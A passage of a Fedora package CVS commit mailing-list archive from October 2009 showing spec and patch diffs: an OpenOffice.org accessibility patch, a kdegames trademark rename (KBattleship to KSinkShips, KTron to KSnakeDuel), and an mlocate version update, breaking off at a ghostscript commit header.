RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2015
retrieving revision 1.2016
diff -u -p -r1.2015 -r1.2016
--- openoffice.org.spec	2 Oct 2009 10:16:17 -0000	1.2015
+++ openoffice.org.spec	5 Oct 2009 11:50:37 -0000	1.2016
@@ -161,6 +161,7 @@ Patch84: openoffice.org-3.1.1.ooo64671.c
 Patch85: openoffice.org-3.1.1.oooXXXXXX.sal.justcoredump.patch
 Patch86: workspace.aw073.patch
 Patch87: openoffice.org-3.1.1.ooo92671.vcl.coverageformat2.patch
+Patch88: openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1708,6 +1709,7 @@ cat %{PATCH11} >> svtools/source/dialogs
 %patch85 -p1 -b .oooXXXXXX.sal.justcoredump.patch
 %patch86 -p0 -b .workspace.aw073.patch
 %patch87 -p0 -b .ooo92671.vcl.coverageformat2.patch
+%patch88 -p0 -b .ooo105613.vcl.a11y.exceptions.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4241,9 +4243,10 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
-* Fri Oct 02 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11
+* Mon Oct 05 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.11-UNRELEASED
 - merge openoffice.org-3.1.1.ooo104157.svx.crashonencryptparse.patch
-  into accepted workspace
+  into accepted workspace (caolanm)
+- Resolves: rhbz#527177 add openoffice.org-3.1.1.ooo105613.vcl.a11y.exceptions.patch (caolanm)
 
 * Wed Sep 30 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.1.1-19.10
 - Resolves: rhbz#461617 gsub coverage format 2 with greater than 1 ranges (caolanm)



From than at fedoraproject.org  Mon Oct  5 11:56:47 2009
From: than at fedoraproject.org (Than Ngo)
Date: Mon,  5 Oct 2009 11:56:47 +0000 (UTC)
Subject: rpms/kdegames/devel kdegames-4.3.2-trademarks.patch, NONE,
	1.1 .cvsignore, 1.72, 1.73 kdegames.spec, 1.147, 1.148 sources,
	1.75, 1.76 kdegames-4.3.1-trademarks.patch, 1.2, NONE
Message-ID: <20091005115647.CDF1111C00DB@cvs1.fedora.phx.redhat.com>

Author: than

Update of /cvs/extras/rpms/kdegames/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24863

Modified Files:
	.cvsignore kdegames.spec sources 
Added Files:
	kdegames-4.3.2-trademarks.patch 
Removed Files:
	kdegames-4.3.1-trademarks.patch 
Log Message:
4.3.2


kdegames-4.3.2-trademarks.patch:
 kdegames-4.3.1-trademarks/README                        |   12 +-
 kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook |   37 +++---
 kdegames-4.3.1-trademarks/doc/ktron/index.docbook       |   11 +-
 kdegames-4.3.1-trademarks/kbattleship/src/main.cpp      |    4 
 kdegames-4.3.1-trademarks/ktron/main.cpp                |    5 
 kdegames-4.3.1-trademarks/ktron/player.cpp              |    2 
 kdegames-4.3.2/kbattleship/src/kbattleship.desktop      |   88 +++++++---------
 kdegames-4.3.2/kbattleship/src/kbattleship.protocol     |   56 +++++-----
 kdegames-4.3.2/ktron/ktron.desktop                      |   85 +--------------
 9 files changed, 118 insertions(+), 182 deletions(-)

--- NEW FILE kdegames-4.3.2-trademarks.patch ---
diff -ur kdegames-4.3.1/doc/kbattleship/index.docbook kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook
--- kdegames-4.3.1/doc/kbattleship/index.docbook	2009-02-26 10:11:22.000000000 +0100
+++ kdegames-4.3.1-trademarks/doc/kbattleship/index.docbook	2009-09-12 19:38:42.000000000 +0200
@@ -1,6 +1,6 @@
 <?xml version="1.0" ?>
 <!DOCTYPE book PUBLIC "-//KDE//DTD DocBook XML V4.2-Based Variant V1.1//EN" "dtd/kdex.dtd" [
-  <!ENTITY kappname "&kbattleship;">
+  <!ENTITY kappname "<application>KSinkShips</application>">
   <!ENTITY package "kdegames">
   <!ENTITY % addindex "IGNORE">
   <!ENTITY % English "INCLUDE" > <!-- change language only here -->
@@ -8,7 +8,7 @@
 
 <book lang="&language;">
 <bookinfo>
-<title>The &kbattleship; Handbook</title>
+<title>The &kappname; Handbook</title>
 
 <authorgroup>
 <author>
@@ -57,16 +57,17 @@
 
 <abstract>
 <para>
-&kbattleship; is a network-enabled implementation of the famous <quote>Battle Ship</quote> game for &kde;.</para>
+&kappname; is a network-enabled implementation of the famous ship sinking game for &kde;.</para>
 </abstract>
 
 <keywordset>
 <keyword>KDE</keyword>
 <keyword>kdegames</keyword>
-<keyword>kbattleship</keyword>
+<keyword>ksinkships</keyword>
 <keyword>game</keyword>
-<keyword>battleship</keyword>
-<keyword>battle</keyword>
+<keyword>sinkships</keyword>
+<keyword>sink</keyword>
+<keyword>ships</keyword>
 </keywordset>
 
 </bookinfo>
@@ -76,7 +77,7 @@
 <note><title>Gametype:</title><para>Strategy, Board</para></note><!-- Game genre. Use as many as necessary. Available game types are: Arcade, Board, Card, Dice, Toys, Logic, Strategy.-->
 <note><title>Number of possible players:</title><para>Two</para></note><!--Number of possible players. It can be: One, Two,..., Multiplayer-->
 <para>
-&kbattleship; is a Battle Ship game for &kde;. Ships are placed on a board which represents the sea. Players try to hit each others
+&kappname; is a ship sinking game for &kde;. Ships are placed on a board which represents the sea. Players try to hit each others
 ships in turns without knowing where they are placed. The first player to destroy all ships wins the game.
 </para>
 </chapter>
@@ -85,14 +86,14 @@
 <title>How to Play</title>
 <note><title>Objective:</title><para>Sink all of the opponent?s ships before the opponent sink all the ships of your own.</para></note><!--Describe the objective of the game.-->
 <para>
-If you want to play &kbattleship;, you will need two players, either play
+If you want to play &kappname;, you will need two players, either play
 against the computer or in a network against another player. To play against your computer, first select the difficulty level on the right of the status bar, and then select <guibutton>Single player</guibutton> on the welcome screen, or directly on the <menuchoice><guimenu>Game</guimenu></menuchoice> menu.</para>
 
 <para>
 To start a network game, one player has to host the game by selecting <guilabel>Host network game</guilabel> on the welcome screen, or choosing <menuchoice><guimenu>Game</guimenu>
 <guimenuitem>Host Game...</guimenuitem></menuchoice>.
 A dialog box opens which asks for a <guilabel>Nickname:</guilabel> and <guilabel>Port:</guilabel>. Normally,
-&kbattleship; will suggest your full name, but you can enter any string
+&kappname; will suggest your full name, but you can enter any string
 you want. The predefined port should be ok. However, if you encounter
 problems, you can choose any other free port above 1024.
 </para>
@@ -186,10 +187,10 @@
 <title>Multiplayer support</title>
 
 <para>
-&kbattleship; can be played online on any GGZ Gaming Zone site. You can
+&kappname; can be played online on any GGZ Gaming Zone site. You can
 find other players there, and compete against them. Just enter one
-of the available Battleship rooms with any GGZ core client, such as
-kggz, and &kbattleship; will be offered to you as your favourite
+of the available rooms with any GGZ core client, such as
+kggz, and &kappname; will be offered to you as your favourite
 game client. If a GGZ core client is installed, you can try
 out GGZ by visiting the <ulink url="ggz://live.ggzgamingzone.org/#Battleship">community site</ulink>.
 </para>
@@ -197,7 +198,7 @@
 <para>
 Remember that when playing online, the opponent might be either a
 human player or a computer player. The latter one might behave
-differently from the computer player included in &kbattleship;.
+differently from the computer player included in &kappname;.
 </para>
 
 </sect1>
@@ -314,7 +315,7 @@
 </term>
 <listitem>
 <para>
-<action>Exit</action> &kbattleship;
+<action>Exit</action> &kappname;
 </para>
 </listitem>
 </varlistentry>
@@ -394,7 +395,7 @@
 </term>
 <listitem>
 <para>
-<action>Configure the keyboard shortcuts used by &kbattleship;.</action>
+<action>Configure the keyboard shortcuts used by &kappname;.</action>
 </para>
 </listitem>
 </varlistentry>
@@ -408,7 +409,7 @@
 </term>
 <listitem>
 <para>
-<action>Configure</action> the toolbars provided by &kbattleship;.
+<action>Configure</action> the toolbars provided by &kappname;.
 </para>
 </listitem>
 </varlistentry>
@@ -437,7 +438,7 @@
 </question>
 <answer>
 <para>
-No, there is no hint system in &kbattleship;.
+No, there is no hint system in &kappname;.
 </para>
 </answer>
 </qandaentry>
@@ -474,7 +475,7 @@
 <chapter id="credits">
 <title>Credits and Licenses</title>
 
-<para>&kbattleship; Copyright 2000-2007</para>
+<para>&kappname; Copyright 2000-2007</para>
 
 <itemizedlist>
 <title>Authors</title>
diff -ur kdegames-4.3.1/doc/ktron/index.docbook kdegames-4.3.1-trademarks/doc/ktron/index.docbook
--- kdegames-4.3.1/doc/ktron/index.docbook	2009-02-26 10:11:14.000000000 +0100
+++ kdegames-4.3.1-trademarks/doc/ktron/index.docbook	2009-09-12 19:38:42.000000000 +0200
@@ -1,6 +1,6 @@
 <?xml version="1.0" ?>
 <!DOCTYPE book PUBLIC "-//KDE//DTD DocBook XML V4.2-Based Variant V1.1//EN" "dtd/kdex.dtd" [
-  <!ENTITY kappname "&ktron;">
+  <!ENTITY kappname "<application>KSnakeDuel</application>">
   <!ENTITY package "kdegames">
   <!ENTITY % addindex "IGNORE">
   <!ENTITY % English "INCLUDE">
@@ -61,7 +61,7 @@
 
 <abstract>
 <para>
-&kappname; is a simple <quote>Tron</quote> clone for &kde;, which you can
+&kappname; is a simple snake duel game for &kde;, which you can
 play alone or against a friend.
 </para>
 </abstract>
@@ -69,11 +69,12 @@
 <keywordset>
 <keyword>KDE</keyword>
 <keyword>kdegames</keyword>
-<keyword>KTron</keyword>
+<keyword>KSnakeDuel</keyword>
 <keyword>game</keyword>
-<keyword>tron</keyword>
+<keyword>snakeduel</keyword>
 <keyword>KSnake</keyword>
 <keyword>snake</keyword>
+<keyword>duel</keyword>
 </keywordset>
 </bookinfo>
 
@@ -81,7 +82,7 @@
 <title>Introduction</title>
 
 <para>
-&kappname; is a simple Tron-Clone for the
+&kappname; is a simple snake duel game for the
 <ulink url="http://www.kde.org">K Desktop Environment</ulink>. You can play
 &kappname; against the computer or a friend.
 The aim of the game is to live longer than your opponent. To do that,
diff -ur kdegames-4.3.1/kbattleship/src/main.cpp kdegames-4.3.1-trademarks/kbattleship/src/main.cpp
--- kdegames-4.3.1/kbattleship/src/main.cpp	2009-08-27 10:16:58.000000000 +0200
+++ kdegames-4.3.1-trademarks/kbattleship/src/main.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -21,7 +21,7 @@
 
 int main(int argc, char** argv)
 {
-    KAboutData aboutData("kbattleship", 0, ki18n("KBattleship"), "2.0", 
+    KAboutData aboutData("kbattleship", 0, ki18n("KSinkShips"), "2.0", 
         ki18n("The KDE Battleship clone"), KAboutData::License_GPL, 
         ki18n("(c) 2000-2005  Nikolas Zimmermann, Daniel Molkentin\n"
               "(c) 2007 Paolo Capriotti"), KLocalizedString(), "http://games.kde.org/kbattleship" );
@@ -48,7 +48,7 @@
     KCmdLineArgs::init(argc, argv, &aboutData);
 
     KCmdLineOptions options;
-    options.add("!+[URL]", ki18n("URL of a KBattleship game server to connect to after startup"));
+    options.add("!+[URL]", ki18n("URL of a KSinkShips game server to connect to after startup"));
     KCmdLineArgs::addCmdLineOptions( options ); // Add our own options.
     KApplication app;
     KGlobal::locale()->insertCatalog("libkdegames");
diff -ur kdegames-4.3.1/ktron/main.cpp kdegames-4.3.1-trademarks/ktron/main.cpp
--- kdegames-4.3.1/ktron/main.cpp	2009-02-26 10:11:10.000000000 +0100
+++ kdegames-4.3.1-trademarks/ktron/main.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -41,7 +41,7 @@
 
 int main(int argc, char* argv[])
 {
-  KAboutData aboutData( "ktron", 0, ki18n("KTron"), 
+  KAboutData aboutData( "ktron", 0, ki18n("KSnakeDuel"), 
     KTRON_VERSION, description, KAboutData::License_GPL, notice);
   aboutData.addAuthor(ki18n("Matthias Kiefer"), ki18n("Original author"), "matthias.kiefer at gmx.de");
   aboutData.addAuthor(ki18n("Benjamin Meyer"), ki18n("Various improvements"), "ben+ktron at meyerhome.net");
@@ -50,7 +50,8 @@
   KCmdLineArgs::init( argc, argv, &aboutData );
 
   KCmdLineOptions options;
-  options.add("ktron", ki18n("Start in KTron mode"));
+  // This is the default anyway, why does this need an option? -- Kevin Kofler
+  // options.add("ktron", ki18n("Start in KTron mode"));
   options.add("snake", ki18n("Start in KSnake mode"));
   KCmdLineArgs::addCmdLineOptions(options);
 
diff -ur kdegames-4.3.1/ktron/player.cpp kdegames-4.3.1-trademarks/ktron/player.cpp
--- kdegames-4.3.1/ktron/player.cpp	2009-04-05 21:59:49.000000000 +0200
+++ kdegames-4.3.1-trademarks/ktron/player.cpp	2009-09-12 19:38:42.000000000 +0200
@@ -92,7 +92,7 @@
 {
 	if (isComputer())
 	{
-		return i18n("KTron");
+		return i18n("KSnakeDuel");
 	}
 	else
 	{
diff -ur kdegames-4.3.1/README kdegames-4.3.1-trademarks/README
--- kdegames-4.3.1/README	2009-01-16 16:09:32.000000000 +0100
+++ kdegames-4.3.1-trademarks/README	2009-09-12 19:38:42.000000000 +0200
@@ -25,9 +25,6 @@
     Play backgammon against a local human player, via a game server or
     against GNU Backgammon (not included)
 
-* kbattleship
-    Sink battleship of your opponents, with built-in game server.
-
 * kblackbox
     Find the balls hidden in the black box by shooting laser beams!
 
@@ -70,6 +67,15 @@
 * kshisen
     Patience game where you take away all pieces.
 
+* ksinkships
+    Sink ships of your opponents, with built-in game server.
+
+* ksnake
+    Don't bite yourself, eat apples!
+
+* ksnakeduel
+    Like ksnake, but without fruits.
+
 * kspaceduel
     Two player game with shooting spaceships flying around a sun.
 
diff -up kdegames-4.3.2/kbattleship/src/kbattleship.desktop.orig kdegames-4.3.2/kbattleship/src/kbattleship.desktop
--- kdegames-4.3.2/kbattleship/src/kbattleship.desktop.orig	2009-10-02 10:20:10.000000000 +0200
+++ kdegames-4.3.2/kbattleship/src/kbattleship.desktop	2009-10-05 13:52:01.000000000 +0200
@@ -1,64 +1,63 @@
 [Desktop Entry]
-Name=KBattleship
-Name[af]=Kbattleship
+Name=KSinkShips
 Name[be]=?????? ???
 Name[bn]=??-??????????
-Name[br]=KBattleship
-Name[ca]=KBattleship
+Name[br]=KSinkShips
+Name[ca]=KSinkShips
 Name[cs]=Lod?
-Name[cy]=KBattleship
-Name[da]=KBattleship
-Name[de]=KBattleship
-Name[el]=KBattleship
-Name[en_GB]=KBattleship
-Name[eo]=KBattleship
-Name[es]=KBattleship
-Name[et]=KBattleship
-Name[eu]=KBattleship
+Name[cy]=KSinkShips
+Name[da]=KSinkShips
+Name[de]=KSinkShips
+Name[el]=KSinkShips
+Name[en_GB]=KSinkShips
+Name[eo]=KSinkShips
+Name[es]=KSinkShips
+Name[et]=KSinkShips
+Name[eu]=KSinkShips
 Name[fa]=???? ???????
-Name[fi]=KBattleship
-Name[fr]=KBattleship
-Name[ga]=KBattleship
-Name[gl]=KBattleship
-Name[he]=KBattleship
+Name[fi]=KSinkShips
+Name[fr]=KSinkShips
+Name[ga]=KSinkShips
+Name[gl]=KSinkShips
+Name[he]=KSinkShips
 Name[hne]=??-???????
 Name[hr]=KPotapanje brodova
-Name[hu]=KBattleship
+Name[hu]=KSinkShips
 Name[is]=KSj?orrusta
-Name[it]=KBattleship
-Name[ja]=KBattleship
-Name[km]=KBattleship
-Name[ko]=KBattleship
-Name[lt]=KBattleship
-Name[lv]=KBattleship
-Name[mk]=KBattleship
-Name[nb]=KBattleship
+Name[it]=KSinkShips
+Name[ja]=KSinkShips
+Name[km]=KSinkShips
+Name[ko]=KSinkShips
+Name[lt]=KSinkShips
+Name[lv]=KSinkShips
+Name[mk]=KSinkShips
+Name[nb]=KSinkShips
 Name[nds]=Scheep versenken
 Name[ne]=????? ?????????
-Name[nl]=KBattleship
-Name[nn]=KBattleship
+Name[nl]=KSinkShips
+Name[nn]=KSinkShips
 Name[pa]=??-???? ?????
-Name[pl]=KBattleship
-Name[pt]=KBattleship
-Name[pt_BR]=KBattleship
+Name[pl]=KSinkShips
+Name[pt]=KSinkShips
+Name[pt_BR]=KSinkShips
 Name[ro]=B?t?lie naval?
-Name[ru]=KBattleship
-Name[se]=KBattleship
-Name[sk]=KBattleship
-Name[sl]=KBattleship
+Name[ru]=KSinkShips
+Name[se]=KSinkShips
+Name[sk]=KSinkShips
+Name[sl]=KSinkShips
 Name[sr]=????????????
 Name[sr at latin]=K?podmornice
 Name[sv]=Kbattleship
 Name[ta]=??????????????
 Name[tg]=K????? ???????
-Name[tr]=KBattleship
+Name[tr]=KSinkShips
 Name[uk]=???????? ???
-Name[vi]=KBattleship
-Name[wa]=KBattleship
-Name[xh]=KBattleship
-Name[x-test]=xxKBattleshipxx
-Name[zh_CN]=KBattleship
-Name[zh_TW]=KBattleship ??
+Name[vi]=KSinkShips
+Name[wa]=KSinkShips
+Name[xh]=KSinkShips
+Name[x-test]=xxKSinkShipsxx
+Name[zh_CN]=KSinkShips
+Name[zh_TW]=KSinkShips ??
 Exec=kbattleship -caption "%c"
 Icon=kbattleship
 Type=Application
@@ -80,7 +79,6 @@ GenericName[eu]=Ontzi-guda jokoa
 GenericName[fa]=???? ??? ???????
 GenericName[fi]=Meritaistelupeli
 GenericName[fr]=Jeu de bataille navale
-GenericName[ga]=Cluiche cos?il le "Battleship"
 GenericName[gl]=Xogo de batalla naval
 GenericName[he]=???? ??????
 GenericName[hne]=??????? ???
@@ -114,7 +112,7 @@ GenericName[ta]=????????
 GenericName[tr]=Amiral Batt? Oyunu
 GenericName[uk]=??? ? ???????? ???
 GenericName[wa]=Djeu di batreye di bateas
-GenericName[x-test]=xxBattleship Gamexx
+GenericName[x-test]=xxShip Sinking Gamexx
 GenericName[zh_CN]=??????
 GenericName[zh_TW]=????
 Terminal=false
diff -up kdegames-4.3.2/kbattleship/src/kbattleship.protocol.orig kdegames-4.3.2/kbattleship/src/kbattleship.protocol
--- kdegames-4.3.2/kbattleship/src/kbattleship.protocol.orig	2009-10-02 10:20:10.000000000 +0200
+++ kdegames-4.3.2/kbattleship/src/kbattleship.protocol	2009-10-05 13:53:11.000000000 +0200
@@ -5,37 +5,37 @@ input=none
 output=none
 
 Icon=kbattleship
-Description=A protocol for the game KBattleship
-Description[ca]=Un protocol pel joc KBattleship
-Description[da]=En protokol for spillet KBattleship
-Description[de]=Ein Protokoll f?r das KBattleship-Spiel.
-Description[el]=??? ?????????? ??? ?? ???????? KBattleship
-Description[en_GB]=A protocol for the game KBattleship
-Description[es]=Un protocolo para el juego KBattleship
-Description[et]=KBattleshipi protokoll
-Description[eu]=KBattleship jokoaren protokoloa
-Description[fr]=Un protocole pour le jeu KBattleship
-Description[ga]=Pr?tacal le haghaidh an chluiche KBattleship
-Description[gl]=Un protocolo para o xogo KBattleship
-Description[hu]=Protokoll a KBattleship j?t?khoz
-Description[it]=Un protocollo per KBattleship
-Description[km]=????????????????????? KBattleship
-Description[lv]=Protokols sp?lei KBattleship
-Description[nds]=En Protokoll f?r dat Speel "KBattleship"
-Description[nl]=Een protocol voor het spel KBattleship
-Description[nn]=Protokoll for KBattleship
-Description[pl]=Protok?? gry KBattleship
-Description[pt]=Um protocolo para o jogo KBattleship
-Description[pt_BR]=Um protocolo para o jogo KBattleship
-Description[ru]=???????? ??? ???? KBattleship
-Description[sl]=Protokol za igro KBattleship
+Description=A protocol for the game KSinkShips
+Description[ca]=Un protocol pel joc KSinkShips
+Description[da]=En protokol for spillet KSinkShips
+Description[de]=Ein Protokoll f?r das KSinkShips-Spiel.
+Description[el]=??? ?????????? ??? ?? ???????? KSinkShips
+Description[en_GB]=A protocol for the game KSinkShips
+Description[es]=Un protocolo para el juego KSinkShips
+Description[et]=KSinkShipsi protokoll
+Description[eu]=KSinkShips jokoaren protokoloa
+Description[fr]=Un protocole pour le jeu KSinkShips
+Description[ga]=Pr?tacal le haghaidh an chluiche KSinkShips
+Description[gl]=Un protocolo para o xogo KSinkShips
+Description[hu]=Protokoll a KSinkShips j?t?khoz
+Description[it]=Un protocollo per KSinkShips
+Description[km]=????????????????????? KSinkShips
+Description[lv]=Protokols sp?lei KSinkShips
+Description[nds]=En Protokoll f?r dat Speel "KSinkShips"
+Description[nl]=Een protocol voor het spel KSinkShips
+Description[nn]=Protokoll for KSinkShips
+Description[pl]=Protok?? gry KSinkShips
+Description[pt]=Um protocolo para o jogo KSinkShips
+Description[pt_BR]=Um protocolo para o jogo KSinkShips
+Description[ru]=???????? ??? ???? KSinkShips
+Description[sl]=Protokol za igro KSinkShips
 Description[sr]=???????? ?? ????????????
 Description[sr at latin]=Protokol za K?podmornice
 Description[sv]=Ett protokoll f?r spelet S?nka fartyg
-Description[uk]=???????? ??? ??? KBattleship
-Description[x-test]=xxA protocol for the game KBattleshipxx
-Description[zh_CN]=KBattleship ??????
-Description[zh_TW]=KBattleship ???????
+Description[uk]=???????? ??? ??? KSinkShips
+Description[x-test]=xxA protocol for the game KSinkShipsxx
+Description[zh_CN]=KSinkShips ??????
+Description[zh_TW]=KSinkShips ???????
 exec=kbattleship %u
 
 helper=true
diff -up kdegames-4.3.2/ktron/ktron.desktop.orig kdegames-4.3.2/ktron/ktron.desktop
--- kdegames-4.3.2/ktron/ktron.desktop.orig	2009-10-02 10:20:06.000000000 +0200
+++ kdegames-4.3.2/ktron/ktron.desktop	2009-10-05 13:55:06.000000000 +0200
@@ -3,85 +3,14 @@ Type=Application
 Exec=ktron -caption "%c" %i
 Icon=ktron
 DocPath=ktron/index.html
-GenericName=Tron-like Game
-GenericName[ca]=Joc similar al Tron
-GenericName[cs]=Hra typu Tron
-GenericName[da]=Tron-lignende spil
-GenericName[de]=?Tron?-Spiel
-GenericName[el]=???????? ???????? ?? ?? Tron
-GenericName[en_GB]=Tron-like Game
-GenericName[es]=Juego similar a Tron
-GenericName[et]=Troni moodi m?ng
-GenericName[eu]=Tron-en antzeko jokoa
-GenericName[fr]=Jeu dans le style de Tron
-GenericName[ga]=Cluiche Cos?il le Tron
-GenericName[hu]=Tron-szer? j?t?k
-GenericName[it]=Un gioco simile a Tron
-GenericName[ja]=Tron ???????
-GenericName[km]=????????????? Tron
-GenericName[lv]=Tron l?dz?ga sp?le
-GenericName[nds]=Tron-liek Speel
-GenericName[nl]=Tron-achtig spel
-GenericName[nn]=Tron-liknande spel
-GenericName[pt]=Jogo Semelhante ao Tron
-GenericName[pt_BR]=Jogo semelhante ao Tron
-GenericName[ru]=???? ? ????? ??????
-GenericName[sl]=Igra podobna Tronu
-GenericName[sr]=???? ????? ?? ????
-GenericName[sr at latin]=Igra nalik na tron
-GenericName[sv]=Tron-liknande spel
-GenericName[uk]=???, ????? ?? Tron
-GenericName[x-test]=xxTron-like Gamexx
-GenericName[zh_CN]=?? Tron ???
-GenericName[zh_TW]=?? Tron ??
++GenericName=Snake Duel Game
++GenericName[de]=Schlangenduell-Spiel
++GenericName[fr]=Jeu de duel de serpents
++GenericName[it]=Gioco di duello di serpenti
++GenericName[x-test]=xxSnake Duel Gamexx
 Terminal=false
-Name=KTron
-Name[af]=Ktron
-Name[bn]=??-????
-Name[br]=KTron
-Name[ca]=KTron
-Name[cs]=KTron
-Name[cy]=KTron
-Name[da]=KTron
-Name[de]=KTron
-Name[el]=KTron
-Name[en_GB]=KTron
-Name[es]=KTron
-Name[et]=KTron
-Name[eu]=KTron
-Name[fr]=KTron
-Name[ga]=KTron
-Name[he]=KTron
-Name[hr]=KTron
-Name[hu]=KTron
-Name[is]=KTron
-Name[it]=KTron
-Name[ja]=KTron
-Name[km]=KTron
-Name[lv]=KTron
-Name[mk]=KTron
-Name[nds]=KTron
-Name[nl]=KTron
-Name[nn]=KTron
-Name[pt]=KTron
-Name[pt_BR]=KTron
-Name[ro]=KTron
-Name[ru]=????
-Name[sk]=KTron
-Name[sl]=KTron
-Name[sr]=??????
-Name[sr at latin]=K?tron
-Name[sv]=Ktron
-Name[ta]=K??????
-Name[tg]=K????
-Name[tr]=KTron
-Name[uk]=KTron
-Name[vi]=KTron
-Name[wa]=KTron
-Name[xh]=KTron
-Name[x-test]=xxKTronxx
-Name[zh_CN]=KTron
-Name[zh_TW]=KTron
+Name=KSnakeDuel
+Name[x-test]=xxKSnakeDuelxx
 X-KDE-StartupNotify=true
 X-DCOP-ServiceType=Multi
 Categories=Qt;KDE;Game;ArcadeGame;


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdegames/devel/.cvsignore,v
retrieving revision 1.72
retrieving revision 1.73
diff -u -p -r1.72 -r1.73
--- .cvsignore	1 Sep 2009 17:29:52 -0000	1.72
+++ .cvsignore	5 Oct 2009 11:56:47 -0000	1.73
@@ -1 +1,2 @@
 kdegames-4.3.1.tar.bz2
+kdegames-4.3.2.tar.bz2


Index: kdegames.spec
===================================================================
RCS file: /cvs/extras/rpms/kdegames/devel/kdegames.spec,v
retrieving revision 1.147
retrieving revision 1.148
diff -u -p -r1.147 -r1.148
--- kdegames.spec	12 Sep 2009 17:46:32 -0000	1.147
+++ kdegames.spec	5 Oct 2009 11:56:47 -0000	1.148
@@ -1,9 +1,8 @@
-
 Name:    kdegames
 Summary: K Desktop Environment 4 - Games
 Epoch:   6
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 URL:     http://www.kde.org/
@@ -16,7 +15,7 @@ Source0: ftp://ftp.kde.org/pub/kde/stabl
 # In ktron.desktop, just remove all the translations containing "Tron" or
 # "KTron". Use my translations of GenericName for de, fr, it, feel free to add
 # more, but don't use "Tron" in them! -- Kevin
-Patch0:  kdegames-4.3.1-trademarks.patch
+Patch0:  kdegames-4.3.2-trademarks.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -230,6 +229,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Sat Sep 12 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-4
 - also fix ktron.desktop rebranding for non-US locales
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdegames/devel/sources,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- sources	28 Aug 2009 13:29:02 -0000	1.75
+++ sources	5 Oct 2009 11:56:47 -0000	1.76
@@ -1 +1 @@
-dd0819543978033d4701d65109bf3926  kdegames-4.3.1.tar.bz2
+7ddf38fb2aa84bd14d176d5a9f45ed3f  kdegames-4.3.2.tar.bz2


--- kdegames-4.3.1-trademarks.patch DELETED ---



From mitr at fedoraproject.org  Mon Oct  5 12:57:40 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Mon,  5 Oct 2009 12:57:40 +0000 (UTC)
Subject: rpms/mlocate/devel .cvsignore, 1.14, 1.15 mlocate.spec, 1.26,
	1.27 sources, 1.14, 1.15
Message-ID: <20091005125740.884A911C00DB@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/mlocate/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8872

Modified Files:
	.cvsignore mlocate.spec sources 
Log Message:
* Fri Oct  2 2009 Miloslav Trma? <mitr at redhat.com> - 0.22.2-1
- Update to mlocate-0.22.2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mlocate/devel/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	15 Sep 2009 18:34:48 -0000	1.14
+++ .cvsignore	5 Oct 2009 12:57:40 -0000	1.15
@@ -1 +1 @@
-mlocate-0.22.1.tar.bz2
+mlocate-0.22.2.tar.bz2


Index: mlocate.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mlocate/devel/mlocate.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- mlocate.spec	15 Sep 2009 18:34:48 -0000	1.26
+++ mlocate.spec	5 Oct 2009 12:57:40 -0000	1.27
@@ -1,7 +1,7 @@
 Summary: An utility for finding files by name
 Name: mlocate
-Version: 0.22.1
-Release: 1
+Version: 0.22.2
+Release: 1%{?dist}
 License: GPLv2
 URL: https://fedorahosted.org/mlocate/
 Group: Applications/System
@@ -69,6 +69,9 @@ exit 0
 %ghost %{_localstatedir}/lib/mlocate/mlocate.db
 
 %changelog
+* Fri Oct  2 2009 Miloslav Trma? <mitr at redhat.com> - 0.22.2-1
+- Update to mlocate-0.22.2
+
 * Tue Sep 15 2009 Miloslav Trma? <mitr at redhat.com> - 0.22.1-1
 - Update to mlocate-0.22.1
 - Drop Provides: slocate, per NamingGuidelines


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mlocate/devel/sources,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- sources	15 Sep 2009 18:34:48 -0000	1.14
+++ sources	5 Oct 2009 12:57:40 -0000	1.15
@@ -1 +1 @@
-f62b5d072ac3d73a4bf161af696db6bf  mlocate-0.22.1.tar.bz2
+27de49a88b8657f50fda02d152b8a5f1  mlocate-0.22.2.tar.bz2



From twaugh at fedoraproject.org  Mon Oct  5 13:00:15 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Mon,  5 Oct 2009 13:00:15 +0000 (UTC)
Subject: rpms/ghostscript/F-10 .cvsignore, 1.28,
	1.29 ghostscript-gs-executable.patch, 1.2,
	1.3 ghostscript-jbig2dec-nullderef.patch, 1.2,
	1.3 ghostscript.spec, 1.183, 1.184 sources, 1.32,
	1.33 ghostscript-CVE-2009-0196.patch, 1.2,
	NONE ghostscript-CVE-2009-0583, 0584.patch, 1.2,
	NONE ghostscript-CVE-2009-0792.patch, 1.2,
	NONE ghostscript-bitcmyk.patch, 1.1, NONE
